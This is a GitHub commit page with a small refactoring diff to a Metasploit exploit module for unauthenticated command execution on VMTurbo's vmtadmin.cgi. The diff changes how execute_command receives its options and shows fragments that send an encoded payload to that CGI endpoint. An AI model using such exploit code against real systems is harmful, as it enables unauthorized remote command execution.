We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 3af17ff commit 5b6be55Copy full SHA for 5b6be55
modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
@@ -99,7 +99,7 @@ def check
99
end
100
101
102
- def execute_command(cmd, opts = {})
+ def execute_command(cmd, opts)
103
begin
104
res = send_request_cgi({
105
'uri' => '/cgi-bin/vmtadmin.cgi',
@@ -123,7 +123,7 @@ def exploit
123
# Handle single command shot
124
if target.name =~ /CMD/
125
cmd = payload.encoded
126
- res = execute_command(cmd)
+ res = execute_command(cmd, {})
127
128
unless res
129
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
0 commit comments